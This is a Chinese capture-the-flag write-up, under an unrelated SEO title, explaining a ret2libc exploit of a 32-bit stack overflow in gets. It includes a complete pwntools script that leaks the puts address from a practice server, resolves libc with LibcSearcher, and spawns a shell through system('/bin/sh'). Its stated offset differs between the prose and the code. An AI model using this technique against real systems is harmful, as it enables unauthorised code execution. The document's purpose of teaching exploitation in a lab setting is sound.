双鸭山市网站建设_网站建设公司_前端开发_seo优化

首先checksec检查保护机制：

-32位程序

-开启了栈不可执行机制

然后使用反汇编工具IDA进行分析：

看到了vuln函数和左边的win1，win2函数及flag函数，第一眼看到就觉得能够从这些函数中获取flag，但实际行不行呢，先一个一个点进去看一下

vuln函数内部：

gets函数可触发栈溢出漏洞，顺便算出偏移为：0x18 + 0x8

win1函数内部;

使变量win1的值为1

win2函数内部：

一些if-else的条件选择语句

最后是flag函数内部：

可以发现要想从这里拿到flag，必须要让win1，win2和a1的值都等于-559039827，但是前面的那几个函数都无法实现，所以这几个函数一点作用也没有，纯糊弄人呢

由于在程序的反汇编代码中没有任何后门函数和system函数地址，题目也没给libc库文件，这里考虑泄露出某个函数的真实的地址再借助LibcSearcher这个插件找到libc库，再计算出libc基址，进而计算出system函数及/bin/sh的地址

先在IDA中拿到vuln函数的地址，方便后面二次使用栈溢出漏洞：0x8048714

然后就可以开始编写exp攻击脚本了：

第一次栈溢出先构造ROP链执行puts函数打印出puts函数的真实地址，拿到后通过LibcSearcher找到libc库，然后计算出libc基址后再计算出system函数和/bin/sh地址，第二次栈溢出执行system函数后就能拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',29484) # 与在线环境交互。 offset = 0x18 + 0x4 vuln_addr = 0x8048714 elf = ELF("./pwn") puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(puts_plt) + p32(vuln_addr) + p32(puts_got) io.sendline(payload) puts_addr = u32(io.recv(4)) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(system_addr) + p32(1) + p32(bin_sh_addr) io.sendline(payload) io.interactive()

这是运行结果：

这里要手动选择libc库，32位程序就选择32位的libc库就行，可能会选到不适配得到libc库，多试几个就行了